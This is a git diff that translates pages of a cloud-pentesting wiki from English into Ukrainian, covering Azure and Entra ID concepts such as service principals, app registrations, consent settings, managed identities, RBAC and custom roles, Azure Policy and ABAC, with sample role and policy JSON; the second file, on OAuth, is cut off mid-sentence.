об'єктів каталогу** є найобмежувальнішим. +- **Гості можуть запрошувати** +- **Будь-хто в організації може запрошувати користувачів-гостей, включаючи гостей та неадміністраторів (найбільш інклюзивно) - За замовчуванням** +- **Користувачі-члени та користувачі, призначені на конкретні адміністративні ролі, можуть запрошувати користувачів-гостей, включаючи гостей з правами членів** +- **Тільки користувачі, призначені на конкретні адміністративні ролі, можуть запрошувати користувачів-гостей** +- **Ніхто в організації не може запрошувати користувачів-гостей, включаючи адміністраторів (найбільш обмежувально)** +- **Зовнішні користувачі можуть залишити**: За замовчуванням **Правда** +- Дозволити зовнішнім користувачам залишити організацію > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Навіть якщо за замовчуванням обмежено, користувачі (члени та гості) з наданими дозволами можуть виконувати попередні дії. -### **Groups** +### **Групи** -There are **2 types of groups**: +Є **2 типи груп**: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Безпека**: Цей тип групи використовується для надання членам доступу до додатків, ресурсів та призначення ліцензій. Користувачі, пристрої, службові принципали та інші групи можуть бути членами. +- **Microsoft 365**: Цей тип групи використовується для співпраці, надаючи членам доступ до спільної поштової скриньки, календаря, файлів, сайту SharePoint тощо. Членами групи можуть бути лише користувачі. +- Це матиме **електронну адресу** з доменом орендаря EntraID. -There are **2 types of memberships**: +Є **2 типи членств**: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Призначене**: Дозволяє вручну додавати конкретних членів до групи. +- **Динамічне членство**: Автоматично керує членством за допомогою правил, оновлюючи включення групи, коли змінюються атрибути членів. -### **Service Principals** +### **Службові принципали** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +**Службовий принципал** - це **ідентифікація**, створена для **використання** з **додатками**, хостинговими службами та автоматизованими інструментами для доступу до ресурсів Azure. Цей доступ **обмежений ролями, призначеними** службовому принципалу, що дає вам контроль над **тим, які ресурси можуть бути доступні** і на якому рівні. З міркувань безпеки завжди рекомендується **використовувати службові принципали з автоматизованими інструментами**, а не дозволяти їм входити з ідентифікацією користувача. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +Можливо **безпосередньо увійти як службовий принципал**, згенерувавши йому **секрет** (пароль), **сертифікат** або надавши **федеративний** доступ до сторонніх платформ (наприклад, Github Actions) через нього. -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- Якщо ви виберете **автентифікацію за паролем** (за замовчуванням), **збережіть згенерований пароль**, оскільки ви не зможете отримати до нього доступ знову. +- Якщо ви виберете автентифікацію за сертифікатом, переконайтеся, що **додаток матиме доступ до приватного ключа**. -### App Registrations +### Реєстрації додатків -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +**Реєстрація додатка** - це конфігурація, яка дозволяє додатку інтегруватися з Entra ID та виконувати дії. -#### Key Components: +#### Ключові компоненти: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **Ідентифікатор додатка (Client ID):** Унікальний ідентифікатор для вашого додатка в Azure AD. +2. **URI перенаправлення:** URL-адреси, куди Azure AD надсилає відповіді на аутентифікацію. +3. **Сертифікати, секрети та федеративні облікові дані:** Можливо згенерувати секрет або сертифікат для входу як службовий принципал додатка або надати федеративний доступ до нього (наприклад, Github Actions). +1. Якщо **сертифікат** або **секрет** згенеровано, особа може **увійти як службовий принципал** за допомогою CLI-інструментів, знаючи **ідентифікатор додатка**, **секрет** або **сертифікат** та **орендар** (домен або ID). +4. **API Дозволи:** Визначає, до яких ресурсів або API додаток може отримати доступ. +5. **Налаштування автентифікації:** Визначає підтримувані потоки автентифікації додатка (наприклад, OAuth2, OpenID Connect). +6. **Службовий принципал**: Службовий принципал створюється, коли створюється додаток (якщо це робиться з веб-консолі) або коли він встановлюється в новому орендарі. +1. **Службовий принципал** отримає всі запитувані дозволи, з якими він був налаштований. -### Default Consent Permissions +### Дефолтні дозволи на згоду -**User consent for applications** +**Згода користувачів на додатки** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **Не дозволяти згоду користувачів** +- Для всіх додатків буде потрібен адміністратор. +- **Дозволити згоду користувачів на додатки від перевірених видавців, для вибраних дозволів (рекомендується)** +- Усі користувачі можуть дати згоду на дозволи, класифіковані як "низький вплив", для додатків від перевірених видавців або додатків, зареєстрованих в цій організації. +- **За замовчуванням** низько впливові дозволи (хоча вам потрібно прийняти, щоб додати їх як низькі): +- User.Read - увійти та прочитати профіль користувача +- offline_access - підтримувати доступ до даних, до яких користувачі надали доступ +- openid - входити користувачів +- profile - переглядати основний профіль користувача +- email - переглядати електронну адресу користувача +- **Дозволити згоду користувачів на додатки (за замовчуванням)** +- Усі користувачі можуть дати згоду на будь-який додаток для доступу до даних організації. -**Admin consent requests**: Default **No** +**Запити на згоду адміністратора**: За замовчуванням **Ні** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Користувачі можуть запитувати згоду адміністратора на додатки, на які вони не можуть дати згоду +- Якщо **Так**: Можливо вказати Користувачів, Групи та Ролі, які можуть давати згоду на запити +- Налаштуйте також, чи отримуватимуть користувачі електронні сповіщення та нагадування про закінчення терміну -### **Managed Identity (Metadata)** +### **Керована ідентичність (Метадані)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Керовані ідентичності в Azure Active Directory пропонують рішення для **автоматичного управління ідентичністю** додатків. Ці ідентичності використовуються додатками для **підключення** до **ресурсів**, сумісних з автентифікацією Azure Active Directory (**Azure AD**). Це дозволяє **усунути необхідність жорсткого кодування облікових даних хмари** в коді, оскільки додаток зможе звертатися до **служби метаданих**, щоб отримати дійсний токен для **виконання дій** як вказана керована ідентичність в Azure. -There are two types of managed identities: +Існує два типи керованих ідентичностей: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Призначена системою**. Деякі служби Azure дозволяють вам **увімкнути керовану ідентичність безпосередньо на екземплярі служби**. Коли ви увімкнете керовану ідентичність, призначену системою, **службовий принципал** створюється в орендарі Entra ID, довіреному підписці, де розташований ресурс. Коли **ресурс** **видаляється**, Azure автоматично **видаляє** **ідентичність** за вас. +- **Призначена користувачем**. Також можливо, щоб користувачі генерували керовані ідентичності. Вони створюються всередині групи ресурсів в межах підписки, і службовий принципал буде створений в EntraID, довіреному підписці. Потім ви можете призначити керовану ідентичність одному або **кільком екземплярам** служби Azure (кільком ресурсам). Для керованих ідентичностей, призначених користувачем, **ідентичність управляється окремо від ресурсів, які її використовують**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Керовані ідентичності **не генерують вічні облікові дані** (як паролі або сертифікати) для доступу як службовий принципал, прикріплений до них. -### Enterprise Applications +### Підприємницькі додатки -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +Це просто **таблиця в Azure для фільтрації службових принципалів** та перевірки додатків, які були призначені. -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**Це не інший тип "додатка",** в Azure немає жодного об'єкта, який є "підприємницьким додатком", це просто абстракція для перевірки службових принципалів, реєстрацій додатків та керованих ідентичностей. -### Administrative Units +### Адміністративні одиниці -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +Адміністративні одиниці дозволяють **надавати дозволи з ролі на конкретну частину організації**. -Example: +Приклад: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Сценарій: Компанія хоче, щоб регіональні ІТ-адміністратори управляли лише користувачами у своєму регіоні. +- Реалізація: +- Створіть адміністративні одиниці для кожного регіону (наприклад, "Північна Америка AU", "Європа AU"). +- Заповніть AU користувачами з їхніх відповідних регіонів. +- AU можуть **містити користувачів, групи або пристрої** +- AU підтримують **динамічні членства** +- AU **не можуть містити AU** +- Призначити адміністративні ролі: +- Надати роль "Адміністратор користувачів" регіональному ІТ-персоналу, обмежену до AU їхнього регіону. +- Результат: Регіональні ІТ-адміністратори можуть управляти обліковими записами користувачів у своєму регіоні, не впливаючи на інші регіони. -### Entra ID Roles +### Ролі Entra ID -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Для управління Entra ID існують деякі **вбудовані ролі**, які можуть бути призначені принципалам Entra ID для управління Entra ID +- Перевірте ролі в [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- Найпривілейованішою роллю є **Глобальний адміністратор** +- У описі ролі можна побачити її **деталізовані дозволи** -## Roles & Permissions +## Ролі та дозволи -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Ролі** призначаються **принципалам** на **обсязі**: `principal -[HAS ROLE]->(scope)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Ролі**, призначені **групам**, **успадковуються** всіма **членами** групи. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +Залежно від обсягу, до якого була призначена роль, **роль** може бути **успадкована** до **інших ресурсів** всередині контейнера обсягу. Наприклад, якщо користувач A має **роль на підписці**, він матиме цю **роль на всіх групах ресурсів** всередині підписки та на **всіх ресурсах** всередині групи ресурсів. -### **Classic Roles** +### **Класичні ролі** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Власник** |
  • Повний доступ до всіх ресурсів
  • Може управляти доступом для інших користувачів
| Усі типи ресурсів | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Співробітник** |
  • Повний доступ до всіх ресурсів
  • Не може управляти доступом
| Усі типи ресурсів | +| **Читач** | • Перегляд усіх ресурсів | Усі типи ресурсів | +| **Адміністратор доступу користувачів** |
  • Перегляд усіх ресурсів
  • Може управляти доступом для інших користувачів
| Усі типи ресурсів | -### Built-In roles +### Вбудовані ролі -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[З документів: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Контроль доступу на основі ролей Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) має кілька **вбудованих ролей Azure**, які ви можете **призначити** **користувачам, групам, службовим принципалам та керованим ідентичностям**. Призначення ролей - це спосіб контролювати **доступ до ресурсів Azure**. Якщо вбудовані ролі не відповідають конкретним потребам вашої організації, ви можете створити свої власні [**кастомні ролі Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +**Вбудовані** ролі застосовуються лише до **ресурсів**, для яких вони **призначені**, наприклад, перевірте ці 2 приклади **вбудованих ролей** для ресурсів **Обчислення**: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Читач резервного копіювання диска](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Надає дозвіл резервному сховищу виконувати резервне копіювання диска. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Вхід користувача віртуальної машини](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Перегляд віртуальних машин у порталі та вхід як звичайний користувач. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Ці ролі також можуть **призначатися над логічними контейнерами** (такими як групи управління, підписки та групи ресурсів), і принципали, які підпадають під їхній вплив, матимуть їх **над ресурсами всередині цих контейнерів**. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Знайдіть тут список з [**усіма вбудованими ролями Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Знайдіть тут список з [**усіма вбудованими ролями Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). -### Custom Roles +### Кастомні ролі -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- Також можливо створити [**кастомні ролі**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- Вони створюються всередині обсягу, хоча роль може бути в кількох обсягах (групи управління, підписка та групи ресурсів) +- Можливо налаштувати всі детальні дозволи, які матиме кастомна роль +- Можливо виключити дозволи +- Принципал з виключеним дозволом не зможе його використовувати, навіть якщо дозвіл надається в іншому місці +- Можливо використовувати підстановочні знаки +- Використовуваний формат - JSON +- `actions` призначені для контролю дій над ресурсом +- `dataActions` - це дозволи над даними в об'єкті +Приклад JSON дозволів для кастомної ролі: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` - ### Permissions order -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Щоб **суб'єкт мав доступ до ресурсу**, йому потрібно явно надати роль (будь-яким чином), **яка надає йому це дозволення**. +- Явне **призначення ролі заборони має пріоритет** над роллю, що надає дозволення.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Global Administrator — це роль з Entra ID, яка надає **повний контроль над орендою Entra ID**. Однак за замовчуванням вона не надає жодних дозволів на ресурси Azure. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Користувачі з роллю Global Administrator мають можливість '**підвищити' до ролі User Access Administrator Azure в кореневій групі управління**. Таким чином, Global Administrators можуть керувати доступом у **всіх підписках Azure та групах управління.**\ +Це підвищення можна здійснити в кінці сторінки: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Policies -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Azure Policies** — це правила, які допомагають організаціям забезпечити відповідність їх ресурсів певним стандартам і вимогам. Вони дозволяють **застосовувати або перевіряти налаштування на ресурсах в Azure**. Наприклад, ви можете заборонити створення віртуальних машин в несанкціонованому регіоні або забезпечити, щоб усі ресурси мали певні теги для відстеження. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Azure Policies є **проактивними**: вони можуть зупинити створення або зміну несумісних ресурсів. Вони також є **реактивними**, дозволяючи вам знаходити та виправляти існуючі несумісні ресурси. #### **Key Concepts** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Policy Definition**: Правило, написане в JSON, яке визначає, що дозволено або вимагається. +2. **Policy Assignment**: Застосування політики до конкретної області (наприклад, підписка, група ресурсів). +3. **Initiatives**: Збірка політик, згрупованих разом для ширшого застосування. +4. **Effect**: Визначає, що відбувається, коли політика спрацьовує (наприклад, "Заборонити", "Аудит" або "Додати"). -**Some examples:** +**Деякі приклади:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Забезпечення відповідності певним регіонам Azure**: Ця політика забезпечує, щоб усі ресурси розгорталися в певних регіонах Azure. Наприклад, компанія може захотіти, щоб усі її дані зберігалися в Європі для відповідності GDPR. +2. **Забезпечення стандартів іменування**: Політики можуть забезпечувати дотримання стандартів іменування для ресурсів Azure. Це допомагає в організації та легкому ідентифікуванні ресурсів за їхніми іменами, що корисно в великих середовищах. +3. **Обмеження певних типів ресурсів**: Ця політика може обмежити створення певних типів ресурсів. Наприклад, політика може бути встановлена для заборони створення дорогих типів ресурсів, таких як певні розміри ВМ, для контролю витрат. +4. **Забезпечення політик тегування**: Теги — це пари ключ-значення, пов'язані з ресурсами Azure, які використовуються для управління ресурсами. Політики можуть забезпечувати, щоб певні теги були присутні, або мали конкретні значення, для всіх ресурсів. Це корисно для відстеження витрат, власності або категоризації ресурсів. +5. **Обмеження публічного доступу до ресурсів**: Політики можуть забезпечувати, щоб певні ресурси, такі як облікові записи зберігання або бази даних, не мали публічних кінцевих точок, забезпечуючи, щоб вони були доступні лише в межах мережі організації. +6. **Автоматичне застосування налаштувань безпеки**: Політики можуть використовуватися для автоматичного застосування налаштувань безпеки до ресурсів, таких як застосування конкретної групи безпеки мережі до всіх ВМ або забезпечення, щоб усі облікові записи зберігання використовували шифрування. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. +Зверніть увагу, що Azure Policies можуть бути прикріплені до будь-якого рівня ієрархії Azure, але вони **зазвичай використовуються в кореневій групі управління** або в інших групах управління. Azure policy json example: - ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` +### Спадкування дозволів -### Permissions Inheritance +В Azure **дозволи можуть бути призначені будь-якій частині ієрархії**. Це включає управлінські групи, підписки, групи ресурсів та окремі ресурси. Дозволи **спадкуються** від вміщених **ресурсів** сутності, до якої вони були призначені. -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. - -This hierarchical structure allows for efficient and scalable management of access permissions. +Ця ієрархічна структура дозволяє ефективно та масштабовано управляти доступом до дозволів.
-### Azure RBAC vs ABAC +### Azure RBAC проти ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (контроль доступу на основі ролей) - це те, що ми вже бачили в попередніх розділах: **Призначення ролі суб'єкту для надання йому доступу** до ресурсу.\ +Однак у деяких випадках ви можете захотіти надати **більш детальне управління доступом** або **спростити** управління **сотнями** призначень ролей. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (контроль доступу на основі атрибутів) базується на Azure RBAC, додаючи **умови призначення ролей на основі атрибутів** у контексті конкретних дій. _Умова призначення ролі_ - це **додаткова перевірка, яку ви можете за бажанням додати до вашого призначення ролі** для надання більш детального контролю доступу. Умова фільтрує дозволи, надані в рамках визначення ролі та призначення ролі. Наприклад, ви можете **додати умову, яка вимагає, щоб об'єкт мав певний тег для читання об'єкта**.\ +Ви **не можете** явно **заборонити** **доступ** до конкретних ресурсів **за допомогою умов**. -## References +## Посилання - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..8e00bd035 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,98 +4,97 @@ ## Basic Information -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID - це хмарна платформа управління ідентифікацією та доступом (IAM) від Microsoft, яка слугує основною системою аутентифікації та авторизації для таких сервісів, як Microsoft 365 та Azure Resource Manager. Azure AD реалізує фреймворк авторизації OAuth 2.0 та протокол аутентифікації OpenID Connect (OIDC) для управління доступом до ресурсів. ### OAuth -**Key Participants in OAuth 2.0:** +**Ключові учасники в OAuth 2.0:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Сервер ресурсів (RS):** Захищає ресурси, що належать власнику ресурсу. +2. **Власник ресурсу (RO):** Зазвичай кінцевий користувач, який володіє захищеними ресурсами. +3. **Клієнтський додаток (CA):** Додаток, що намагається отримати доступ до ресурсів від імені власника ресурсу. +4. **Сервер авторизації (AS):** Видає токени доступу клієнтським додаткам після їх аутентифікації та авторизації. -**Scopes and Consent:** +**Обсяги та згода:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Обсяги:** Дрібні дозволи, визначені на сервері ресурсів, які вказують рівні доступу. +- **Згода:** Процес, за допомогою якого власник ресурсу надає клієнтському додатку дозвіл на доступ до ресурсів з конкретними обсягами. -**Microsoft 365 Integration:** +**Інтеграція з Microsoft 365:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365 використовує Azure AD для IAM і складається з кількох "первинних" OAuth додатків. +- Ці додатки глибоко інтегровані та часто мають взаємозалежні відносини сервісів. +- Щоб спростити користувацький досвід і підтримувати функціональність, Microsoft надає "неявну згоду" або "попередню згоду" цим первинним додаткам. +- **Неявна згода:** Деяким додаткам автоматично 